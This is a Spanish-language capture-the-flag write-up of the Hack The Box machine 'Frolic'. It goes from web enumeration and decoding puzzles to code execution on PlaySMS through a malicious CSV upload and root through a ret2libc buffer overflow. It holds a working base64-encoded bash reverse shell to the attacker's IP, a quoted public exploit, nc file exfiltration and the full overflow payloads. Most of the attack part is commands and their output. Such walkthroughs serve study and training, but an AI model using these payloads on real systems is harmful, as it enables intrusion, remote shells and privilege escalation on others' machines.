Frolic
14 minutos de lectura
- SO: Linux
- Dificultad: Fácil
- Dirección IP: 10.10.10.111
- Fecha: 13 / 10 / 2018
Escaneo de puertos
# Nmap 7.92 scan initiated as: nmap -sC -sV -o nmap/targeted 10.10.10.111 -p 22,139,445,1880,9999
Nmap scan report for 10.10.10.111
Host is up (0.074s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 87:7b:91:2a:0f:11:b6:57:1e:cb:9f:77:cf:35:e2:21 (RSA)
| 256 b7:9b:06:dd:c2:5e:28:44:78:41:1e:67:7d:1e:b7:62 (ECDSA)
|_ 256 21:cf:16:6d:82:a4:30:c3:c6:9c:d7:38:ba:b5:02:b0 (ED25519)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
1880/tcp open http Node.js (Express middleware)
|_http-title: Node-RED
9999/tcp open http nginx 1.10.3 (Ubuntu)
|_http-title: Welcome to nginx!
|_http-server-header: nginx/1.10.3 (Ubuntu)
Service Info: Host: FROLIC; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
| smb2-security-mode:
| 3.1.1:
|_ Message signing enabled but not required
|_clock-skew: mean: -1h49m59s, deviation: 3h10m31s, median: 0s
| smb2-time:
| date: 2022-07-17T16:54:51
|_ start_date: N/A
| smb-os-discovery:
| OS: Windows 6.1 (Samba 4.3.11-Ubuntu)
| Computer name: frolic
| NetBIOS computer name: FROLIC\x00
| Domain name: \x00
| FQDN: frolic
|_ System time: 2022-07-17T22:24:51+05:30
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
|_nbstat: NetBIOS name: FROLIC, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done -- 1 IP address (1 host up) scanned in 16.23 seconds
La máquina tiene abiertos los puertos 22 (SSH), 139, 445 (SMB), 1880 y 9999 (HTTP).
Enumeración web
Si vamos a http://10.10.10.111:1880
veremos una instancia de Node-RED:
Podemos probar con credenciales por defecto (NR_account:NodeRed#123
), pero no funcionan.
En http://10.10.10.111:9999
vemos la página por defecto de nginx:
Vamos a aplicar fuzzing con ffuf
para enumerar más rutas:
$ ffuf -w $WORDLISTS/dirbuster/directory-list-2.3-medium.txt -u http://10.10.10.111:9999/FUZZ
admin [Status: 301, Size: 194, Words: 7, Lines: 8, Duration: 78ms]
test [Status: 301, Size: 194, Words: 7, Lines: 8, Duration: 40ms]
dev [Status: 301, Size: 194, Words: 7, Lines: 8, Duration: 127ms]
backup [Status: 301, Size: 194, Words: 7, Lines: 8, Duration: 43ms]
loop [Status: 301, Size: 194, Words: 7, Lines: 8, Duration: 43ms]
[Status: 200, Size: 637, Words: 79, Lines: 29, Duration: 52ms]
Si vamos a /test
, veremos un phpinfo
:
En /backup
tenemos dos archivos un un directorio loop
:
$ curl 10.10.10.111:9999/backup/
password.txt
user.txt
loop/
$ curl 10.10.10.111:9999/backup/loop/
<html>
<head><title>403 Forbidden</title></head>
<body bgcolor="white">
<center><h1>403 Forbidden</h1></center>
<hr><center>nginx/1.10.3 (Ubuntu)</center>
</body>
</html>
$ curl 10.10.10.111:9999/backup/user.txt
user - admin
$ curl 10.10.10.111:9999/backup/password.txt
password - imnothuman
No tenemos permisos para entrar en loop
, pero a lo mejor las credenciales las necesitamos después.
En /admin
tenemos un formulario de inicio de sesión:
Si probamos con credenciales cualesquiera, aparecerá una alerta:
Esto es indicio de que la autenticación se gestiona desde JavaScript, por lo que vamos a ver el código fuente:
El archivo de JavaScript está en /admin/js/login.js
. Vamos a verlo:
$ curl http://10.10.10.111:9999/admin/js/login.js
var attempt = 3; // Variable to count number of attempts.
// Below function Executes on click of login button.
function validate(){
var username = document.getElementById("username").value;
var password = document.getElementById("password").value;
if ( username == "admin" && password == "superduperlooperpassword_lol"){
alert ("Login successfully");
window.location = "success.html"; // Redirecting to other page.
return false;
}
else{
attempt --;// Decrementing by one.
alert("You have left "+attempt+" attempt;");
// Disabling fields after 3 attempts.
if( attempt == 0){
document.getElementById("username").disabled = true;
document.getElementById("password").disabled = true;
document.getElementById("submit").disabled = true;
return false;
}
}
}
Vale, tenemos una contraseña (superduperlooperpassword_lol
) y también el archivo al que tenemos que ir si la autenticación es exitosa. Entonces podemos acceder directamente:
$ curl 10.10.10.111:9999/admin/success.html
..... ..... ..... .!?!! .?... ..... ..... ...?. ?!.?. ..... ..... .....
..... ..... ..!.? ..... ..... .!?!! .?... ..... ..?.? !.?.. ..... .....
....! ..... ..... .!.?. ..... .!?!! .?!!! !!!?. ?!.?! !!!!! !...! .....
..... .!.!! !!!!! !!!!! !!!.? ..... ..... ..... ..!?! !.?!! !!!!! !!!!!
!!!!? .?!.? !!!!! !!!!! !!!!! .?... ..... ..... ....! ?!!.? ..... .....
..... .?.?! .?... ..... ..... ...!. !!!!! !!.?. ..... .!?!! .?... ...?.
?!.?. ..... ..!.? ..... ..!?! !.?!! !!!!? .?!.? !!!!! !!!!. ?.... .....
..... ...!? !!.?! !!!!! !!!!! !!!!! ?.?!. ?!!!! !!!!! !!.?. ..... .....
..... .!?!! .?... ..... ..... ...?. ?!.?. ..... !.... ..... ..!.! !!!!!
!.!!! !!... ..... ..... ....! .?... ..... ..... ....! ?!!.? !!!!! !!!!!
!!!!! !?.?! .?!!! !!!!! !!!!! !!!!! !!!!! .?... ....! ?!!.? ..... .?.?!
.?... ..... ....! .?... ..... ..... ..!?! !.?.. ..... ..... ..?.? !.?..
!.?.. ..... ..!?! !.?.. ..... .?.?! .?... .!.?. ..... .!?!! .?!!! !!!?.
?!.?! !!!!! !!!!! !!... ..... ...!. ?.... ..... !?!!. ?!!!! !!!!? .?!.?
!!!!! !!!!! !!!.? ..... ..!?! !.?!! !!!!? .?!.? !!!.! !!!!! !!!!! !!!!!
!.... ..... ..... ..... !.!.? ..... ..... .!?!! .?!!! !!!!! !!?.? !.?!!
!.?.. ..... ....! ?!!.? ..... ..... ?.?!. ?.... ..... ..... ..!.. .....
..... .!.?. ..... ...!? !!.?! !!!!! !!?.? !.?!! !!!.? ..... ..!?! !.?!!
!!!!? .?!.? !!!!! !!.?. ..... ...!? !!.?. ..... ..?.? !.?.. !.!!! !!!!!
!!!!! !!!!! !.?.. ..... ..!?! !.?.. ..... .?.?! .?... .!.?. ..... .....
..... .!?!! .?!!! !!!!! !!!!! !!!?. ?!.?! !!!!! !!!!! !!.!! !!!!! .....
..!.! !!!!! !.?.
¿Qué es esto? parece un lenguaje esotérico (algo similar a Brainfuck). Si investigamos un poco, descubriremos que es “Ook!”, por lo que vamos a decodificarlo en www.dcode.fr:
Como dice, vamos a /asdiSIAJJ0QWE9JAS
:
$ curl 10.10.10.111:9999/asdiSIAJJ0QWE9JAS/
UEsDBBQACQAIAMOJN00j/lsUsAAAAGkCAAAJABwAaW5kZXgucGhwVVQJAAOFfKdbhXynW3V4CwAB
BAAAAAAEAAAAAF5E5hBKn3OyaIopmhuVUPBuC6m/U3PkAkp3GhHcjuWgNOL22Y9r7nrQEopVyJbs
K1i6f+BQyOES4baHpOrQu+J4XxPATolb/Y2EU6rqOPKD8uIPkUoyU8cqgwNE0I19kzhkVA5RAmve
EMrX4+T7al+fi/kY6ZTAJ3h/Y5DCFt2PdL6yNzVRrAuaigMOlRBrAyw0tdliKb40RrXpBgn/uoTj
lurp78cmcTJviFfUnOM5UEsHCCP+WxSwAAAAaQIAAFBLAQIeAxQACQAIAMOJN00j/lsUsAAAAGkC
AAAJABgAAAAAAAEAAACkgQAAAABpbmRleC5waHBVVAUAA4V8p1t1eAsAAQQAAAAABAAAAABQSwUG
AAAAAAEAAQBPAAAAAwEAAAAA
Parece que tenemos datos codificados en Base64. Si lo decodificamos, veremos los bytes mágicos PK
, por lo que será un archivo ZIP:
$ curl 10.10.10.111:9999/asdiSIAJJ0QWE9JAS/ -s | base64 -d
PK É7M#[i index.phpUT |[|[ux
^DJsh)
$ curl 10.10.10.111:9999/asdiSIAJJ0QWE9JAS/ -s | base64 -d | xxd
00000000: 504b 0304 1400 0900 0800 c389 374d 23fe PK..........7M#.
00000010: 5b14 b000 0000 6902 0000 0900 1c00 696e [.....i.......in
00000020: 6465 782e 7068 7055 5409 0003 857c a75b dex.phpUT....|.[
00000030: 857c a75b 7578 0b00 0104 0000 0000 0400 .|.[ux..........
00000040: 0000 005e 44e6 104a 9f73 b268 8a29 9a1b ...^D..J.s.h.)..
00000050: 9550 f06e 0ba9 bf53 73e4 024a 771a 11dc .P.n...Ss..Jw...
00000060: 8ee5 a034 e2f6 d98f 6bee 7ad0 128a 55c8 ...4....k.z...U.
00000070: 96ec 2b58 ba7f e050 c8e1 12e1 b687 a4ea ..+X...P........
00000080: d0bb e278 5f13 c04e 895b fd8d 8453 aaea ...x_..N.[...S..
00000090: 38f2 83f2 e20f 914a 3253 c72a 8303 44d0 8......J2S.*..D.
000000a0: 8d7d 9338 6454 0e51 026b de10 cad7 e3e4 .}.8dT.Q.k......
000000b0: fb6a 5f9f 8bf9 18e9 94c0 2778 7f63 90c2 .j_.......'x.c..
000000c0: 16dd 8f74 beb2 3735 51ac 0b9a 8a03 0e95 ...t..75Q.......
000000d0: 106b 032c 34b5 d962 29be 3446 b5e9 0609 .k.,4..b).4F....
000000e0: ffba 84e3 96ea e9ef c726 7132 6f88 57d4 .........&q2o.W.
000000f0: 9ce3 3950 4b07 0823 fe5b 14b0 0000 0069 ..9PK..#.[.....i
00000100: 0200 0050 4b01 021e 0314 0009 0008 00c3 ...PK...........
00000110: 8937 4d23 fe5b 14b0 0000 0069 0200 0009 .7M#.[.....i....
00000120: 0018 0000 0000 0001 0000 00a4 8100 0000 ................
00000130: 0069 6e64 6578 2e70 6870 5554 0500 0385 .index.phpUT....
00000140: 7ca7 5b75 780b 0001 0400 0000 0004 0000 |.[ux...........
00000150: 0000 504b 0506 0000 0000 0100 0100 4f00 ..PK..........O.
00000160: 0000 0301 0000 0000 ........
Y de hecho, lo es:
$ curl 10.10.10.111:9999/asdiSIAJJ0QWE9JAS/ -s | base64 -d > file.zip
$ file file.zip
file.zip: Zip archive data, at least v2.0 to extract, compression method=deflate
Vamos a ver qué hay dentro y a extraerlo:
$ unzip -l file.zip
Archive: file.zip
Length Date Time Name
--------- ---------- ----- ----
617 09-23-2018 13:44 index.php
--------- -------
617 1 file
$ unzip file.zip
Archive: file.zip
[file.zip] index.php password:
Vaya, tiene contraseña. Con fcrackzip
podemos probar contraseñas de rockyou.txt
:
$ fcrackzip -uDp $WORDLISTS/rockyou.txt file.zip
PASSWORD FOUND!!!!: pw == password
$ unzip file.zip
Archive: file.zip
[file.zip] index.php password:
inflating: index.php
Ahora tenemos la contraseña y podemos extraer index.php
. En este archivo tenemos datos codificados en hexadecimal, vamos a decodificarlo:
$ cat index.php
4b7973724b7973674b7973724b7973675779302b4b7973674b7973724b7973674b79737250463067506973724b7973674b7934744c5330674c5330754b7973674b7973724b7973674c6a77720d0a4b7973675779302b4b7973674b7a78645069734b4b797375504373674b7974624c5434674c53307450463067506930744c5330674c5330754c5330674c5330744c5330674c6a77724b7973670d0a4b317374506973674b79737250463067506973724b793467504373724b3173674c5434744c53304b5046302b4c5330674c6a77724b7973675779302b4b7973674b7a7864506973674c6930740d0a4c533467504373724b3173674c5434744c5330675046302b4c5330674c5330744c533467504373724b7973675779302b4b7973674b7973385854344b4b7973754c6a776743673d3d0d0a
$ cat index.php | xxd -r -p
KysrKysgKysrKysgWy0+KysgKysrKysgKysrPF0gPisrKysgKy4tLS0gLS0uKysgKysrKysgLjwr
KysgWy0+KysgKzxdPisKKysuPCsgKytbLT4gLS0tPF0gPi0tLS0gLS0uLS0gLS0tLS0gLjwrKysg
K1stPisgKysrPF0gPisrKy4gPCsrK1sgLT4tLS0KPF0+LS0gLjwrKysgWy0+KysgKzxdPisgLi0t
LS4gPCsrK1sgLT4tLS0gPF0+LS0gLS0tLS4gPCsrKysgWy0+KysgKys8XT4KKysuLjwgCg==
Y ahora parece que está en Base64:
$ cat index.php | xxd -r -p | base64 -d
+++++ +++++ [->++ +++++ +++<] >++++ +.--- --.++ +++++ .<+++ [->++ +<]>+
++.<+ ++[-> ---<] >---- --.-- ----- .<+++ +[->+ +++<] >+++. <+++[ ->---
<]>-- .<+++ [->++ +<]>+ .---. <+++[ ->--- <]>-- ----. <++++ [->++ ++<]>
++..<
Y este es otro lenguaje esotérico: Braifuck. Podemos ir de nuevo a www.dcode.fr y decodificarlo:
Y nos muestra otras contraseña: idkwhatispass
.
Siguiendo con la enumeración web, no tenemos acceso a /dev
:
$ curl 10.10.10.111:9999/dev/
<html>
<head><title>403 Forbidden</title></head>
<body bgcolor="white">
<center><h1>403 Forbidden</h1></center>
<hr><center>nginx/1.10.3 (Ubuntu)</center>
</body>
</html>
Pero vamos a aplicar fuzzing para ver más directorios:
$ ffuf -w $WORDLISTS/dirbuster/directory-list-2.3-medium.txt -u http://10.10.10.111:9999/dev/FUZZ -e .html,.txt
test [Status: 200, Size: 5, Words: 1, Lines: 2, Duration: 43ms]
backup [Status: 301, Size: 194, Words: 7, Lines: 8, Duration: 76ms]
.html [Status: 403, Size: 178, Words: 5, Lines: 8, Duration: 45ms]
[Status: 403, Size: 178, Words: 5, Lines: 8, Duration: 45ms]
Vale, vamos a probar estas rutas:
$ curl 10.10.10.111:9999/dev/test
test
$ curl 10.10.10.111:9999/dev/backup/
/playsms
Muestra playsms
. De hecho, si vamos a http://10.10.10.111:9999/playsms
, nos redirige a una instancia de PlaySMS:
Aquí podemos acceder con credenciales admin:idkwhatispass
:
Intrusión en la máquina
Podemos buscar vulnerabilidades y exploits para esta tecnología:
$ searchsploit playsms
--------------------------------------------------------------------------------------- -----------------------
Exploit Title | Path
--------------------------------------------------------------------------------------- -----------------------
PlaySMS - 'import.php' (Authenticated) CSV File Upload Code Execution (Metasploit) | php/remote/44598.rb
PlaySMS - index.php Unauthenticated Template Injection Code Execution (Metasploit) | php/remote/48335.rb
PlaySms 0.7 - SQL Injection | linux/remote/404.pl
PlaySms 0.8 - 'index.php' Cross-Site Scripting | php/webapps/26871.txt
PlaySms 0.9.3 - Multiple Local/Remote File Inclusions | php/webapps/7687.txt
PlaySms 0.9.5.2 - Remote File Inclusion | php/webapps/17792.txt
PlaySms 0.9.9.2 - Cross-Site Request Forgery | php/webapps/30177.txt
PlaySMS 1.4 - '/sendfromfile.php' Remote Code Execution / Unrestricted File Upload | php/webapps/42003.txt
PlaySMS 1.4 - 'import.php' Remote Code Execution | php/webapps/42044.txt
PlaySMS 1.4 - 'sendfromfile.php?Filename' (Authenticated) 'Code Execution (Metasploit) | php/remote/44599.rb
PlaySMS 1.4 - Remote Code Execution | php/webapps/42038.txt
PlaySMS 1.4.3 - Template Injection / Remote Code Execution | php/webapps/48199.txt
--------------------------------------------------------------------------------------- -----------------------
Shellcodes: No Results
Hay varios. Aunque no sabemos la versión exacta, podemos probar algunos de ellos hasta encontrar que 42044.txt
funciona:
$ head -47 42044.txt
# Exploit Title: PlaySMS 1.4 Remote Code Execution using Phonebook import Function in import.php
# Date: 21-05-2017
# Software Link: https://playsms.org/download/
# Version: 1.4
# Exploit Author: Touhid M.Shaikh
# Contact: http://twitter.com/touhidshaikh22
# Website: http://touhidshaikh.com/
# Category: webapps
1. Description
Code Execution using import.php
We know import.php accept file and just read content
not stored in server. But when we stored payload in our backdoor.csv
and upload to phonebook. Its execute our payload and show on next page in field (in NAME,MOBILE,Email,Group COde,Tags) accordingly .
In My case i stored my vulnerable code in my backdoor.csv files's Name field .
But There is one problem in execution. Its only execute in built function and variable which is used in application.
That why the server not execute our payload directly. Now i Use "<?php $a=$_SERVER['HTTP_USER_AGENT']; system($a); ?>" in name field and change our user agent to any command which u want to execute command. Bcz it not execute <?php system("id")?> directly .
Example of my backdoor.csv file content
----------------------MY FILE CONTENT------------------------------------
Name Mobile Email Group code Tags
<?php $t=$_SERVER['HTTP_USER_AGENT']; system($t); ?> 22
--------------------MY FILE CONTENT END HERE-------------------------------
For More Details : www.touhidshaikh.com/blog/
For Video Demo : https://www.youtube.com/watch?v=KIB9sKQdEwE
2. Proof of Concept
Login as regular user (created user using index.php?app=main&inc=core_auth&route=register):
Go to :
http://127.0.0.1/playsms/index.php?app=main&inc=feature_phonebook&route=import&op=list
And Upload my malicious File.(backdoor.csv)
and change our User agent.
La idea es introducir código PHP en un archivo CSV y subirlo desde “Send From File”:
Entonces vamos a construir este archivo CSV malicioso con un comando de reverse shell:
$ echo -n 'bash -i >& /dev/tcp/10.10.17.44/4444 0>&1' | base64
YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTcuNDQvNDQ0NCAwPiYx
$ vim file.csv
$ cat file.csv
<?php system('echo YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTcuNDQvNDQ0NCAwPiYx | base64 -d | bash'); ?>,2,3
Al subirlo, obtenemos la conexión de vuelta:
$ nc -nlvp 4444
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.10.10.111.
Ncat: Connection from 10.10.10.111:37598.
bash: cannot set terminal process group (1237): Inappropriate ioctl for device
bash: no job control in this shell
www-data@frolic:~/html/playsms$ script /dev/null -c bash
script /dev/null -c bash
Script started, file is /dev/null
www-data@frolic:~/html/playsms$ ^Z
zsh: suspended ncat -nlvp 4444
$ stty raw -echo; fg
[1] + continued ncat -nlvp 4444
reset xterm
www-data@frolic:~/html/playsms$ export TERM=xterm
www-data@frolic:~/html/playsms$ export SHELL=bash
www-data@frolic:~/html/playsms$ stty rows 50 columns 158
Enumeración del sistema
Si enumeramos binarios SUID, vemos uno extraño llamado /home/ayush/.binary/rop
:
www-data@frolic:~/html/playsms$ cd
www-data@frolic:~$ find / -perm -4000 2>/dev/null
/sbin/mount.cifs
/bin/mount
/bin/ping6
/bin/fusermount
/bin/ping
/bin/umount
/bin/su
/bin/ntfs-3g
/home/ayush/.binary/rop
/usr/bin/passwd
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/newuidmap
/usr/bin/pkexec
/usr/bin/at
/usr/bin/sudo
/usr/bin/newgidmap
/usr/bin/chsh
/usr/bin/chfn
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/snapd/snap-confine
/usr/lib/eject/dmcrypt-get-device
/usr/lib/i386-linux-gnu/lxc/lxc-user-nic
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
www-data@frolic:~$ ls -l /home/ayush/.binary/rop
-rwsr-xr-x 1 root root 7480 Sep 25 2018 /home/ayush/.binary/rop
Se trata de un binario SUID que pertenece a root
. Por tanto, podemos ejecutar el archivo como root
. Vamos a ver qué tenemos:
www-data@frolic:~$ /home/ayush/.binary/rop
[*] Usage: program <message>
www-data@frolic:~$ /home/ayush/.binary/rop asdf
asdf
En este punto, podemos ver si es vulnerable a Buffer Overflow al introducir una gran cantidad de datos:
www-data@frolic:~$ /home/ayush/.binary/rop $(python3 -c 'print("A" * 100)')
Segmentation fault (core dumped)
Perfecto, es vulnerable. Vamos a transferir el binario a nuestra máquina de atacante usando nc
para analizarlo y explotarlo:
www-data@frolic:~$ which nc
/bin/nc
www-data@frolic:~$ md5sum /home/ayush/.binary/rop
001d6cf82093a0d716587169e019de7d /home/ayush/.binary/rop
www-data@frolic:~$ nc 10.10.17.44 4444 < /home/ayush/.binary/rop
$ nc -nlvp 4444 > rop
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.10.10.111.
Ncat: Connection from 10.10.10.111:37600.
$ md5sum rop
001d6cf82093a0d716587169e019de7d rop
Genial. Si usamos Ghidra para realizar ingeniería inversa sobre el binario, veremos esta función main
:
undefined4 main(int param_1, int param_2) {
undefined4 uVar1;
setuid(0);
if (param_1 < 2) {
puts("[*] Usage: program <message>");
uVar1 = 0xffffffff;
} else {
vuln(*(undefined4 *) (param_2 + 4));
uVar1 = 0;
}
return uVar1;
}
Y dicha función llama a vuln
:
void vuln(char *param_1) {
char local_34[48];
strcpy(local_34, param_1);
printf("[+] Message sent: ");
printf(local_34);
return;
}
Aquí tenemos dos vulnerabilidades. El Buffer Overflow existe porque local_34
tiene 48 bytes reservados como buffer, pero strcpy
es una función vulnerable que no tiene en cuenta el buffer disponible y puede copiar datos fuera de los límites, derivando en Buffer Overflow que puede sobrescribir la dirección de retorno.
La segunda vulnerabilidad es Format String, porque nuestros datos de entrada se pasan a printf
como primer parámetro, por lo que podemos introducir formatos y fugar valores de la pila y modificar datos también. Una sencilla prueba de concepto:
www-data@frolic:~$ /home/ayush/.binary/rop %x.%x.
[+] Message sent: bfffff5f.bffffd60.
No obstante, solamente explotaremos la vulnerabilidad de Buffer Overflow.
Explotación de Buffer Overflow
Vamos a comenzar por abrir GDB y obtener el offset necesario para sobrescribir la dirección de retorno:
$ gdb -q rop
Reading symbols from rop...
(No debugging symbols found in rop)
gef➤ pattern create 100
[+] Generating a pattern of 100 bytes (n=4)
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa
[+] Saved as '$_gef0'
gef➤ run aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa
Starting program: ./rop aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaa yaaa
Program received signal SIGSEGV, Segmentation fault.
0x6161616e in ?? ()
gef➤ pattern offset $eip
[+] Searching for '$eip'
[+] Found at offset 52 (little-endian search) likely
[+] Found at offset 49 (big-endian search)
Genial, necesitamos introducir 52 caracteres, y los siguientes sobrescribirán valores de la pila (por ejemplo, la dirección de retorno, que se copia en el registro $eip
).
Para poder explotar el binario, tenemos que saber sus protecciones con checksec
:
gef➤ checksec
[+] checksec for './rop'
Canary : ✘
NX : ✓
PIE : ✘
Fortify : ✘
RelRO : Partial
La más importante en esta situación es NX, que está habilitada, por lo que la pila (stack) no es ejecutable. Por tanto, tenemos que usar una técnica llamada Return Oriented Programming (ROP), como dice el nombre del binario. En concreto, usaremos un ataque ret2libc, que implica controlar el flujo de ejecución del programa y ejecutar system("/bin/sh")
en Glibc.
Vamos a ver si ASLR está habilitado en la máquina:
www-data@frolic:~$ cat /proc/sys/kernel/randomize_va_space
0
No lo está, lo cual significa que todas las direcciones de las librerías compartidas (como Glibc) son fijas.
Solo para tener el mismo entorno, vamos a deshabilitar ASLR y obtener las direcciones de system
y "/bin/sh"
:
gef➤ aslr off
[+] Disabling ASLR
gef➤ p system
$2 = {<text variable, no debug info>} 0xf7e08360 <system>
gef➤ grep "/bin/sh"
[+] Searching '/bin/sh' in memory
[+] In '/usr/lib32/libc-2.31.so'(0xf7f38000-0xf7fac000), permission=r--
0xf7f52363 - 0xf7f5236a → "/bin/sh"
Perfecto, pues la manera de realizar un ataque ret2libc en binarios de 32 bits es
<function-address> + <return-address> + <arg-1> + <arg-2> + ...
ya que todos los datos pasados a las funciones se almacenan en la pila. Por tanto <function-address>
es 0xf7e08360
(como bytes, en formato little-endian), <return-address>
puede ser cualquie cosa, y <arg-1>
es 0xf7f52363
(como bytes), que es la dirección de la cadena "/bin/sh"
.
Usando struct.pack
para formatear los números como bytes, tenemos el siguiente payload y explotamos el binario correctamente (obtenemos una shell):
$ ./rop $(python3 -c 'import os; from struct import pack; os.write(1, b"A" * 52 + pack("<I", 0xf7e08360) + b"A" * 4 + pack("<I", 0xf7f52363))')
$ ls
rop
Escalada de privilegios
Para explotar el binario en la máquina remota, tenemos que encontrar las direcciones exactas de system
y "/bin/sh"
en la librería Glibc remota. Afortunadamente, tenemos readelf
:
www-data@frolic:~$ which readelf
/usr/bin/readelf
www-data@frolic:~$ ldd /home/ayush/.binary/rop
linux-gate.so.1 => (0xb7fda000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7e19000)
/lib/ld-linux.so.2 (0xb7fdb000)
www-data@frolic:~$ readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system
245: 00112f20 68 FUNC GLOBAL DEFAULT 13 svcerr_systemerr@@GLIBC_2.0
627: 0003ada0 55 FUNC GLOBAL DEFAULT 13 __libc_system@@GLIBC_PRIVATE
1457: 0003ada0 55 FUNC WEAK DEFAULT 13 system@@GLIBC_2.0
www-data@frolic:~$ strings -atx /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh
15ba0b /bin/sh
Nótese que estos valores no son direcciones sino offsets. Necesitamos añadir el offset a la dirección base de Glibc (que está fijada en 0xb7e19000
):
$ python3 -q
>>> hex(0xb7e19000 + 0x3ada0)
'0xb7e53da0'
>>> hex(0xb7e19000 + 0x15ba0b)
'0xb7f74a0b'
Una vez que tenemos las direcciones reales, podemos explotar el binario usando Python:
www-data@frolic:~$ which python3
/usr/bin/python3
www-data@frolic:~$ /home/ayush/.binary/rop $(python3 -c 'import os; from struct import pack; os.write(1, b"A" * 52 + pack("<I", 0xb7e53da0) + b"A" * 4 + pack("<I", 0xb7f74a0b))')
# cat /home/ayush/user.txt
2ab95909cf509f85a6f476b59a0c2fe0
# cat /root/root.txt
85d3fdf03f969892538ba9a731826222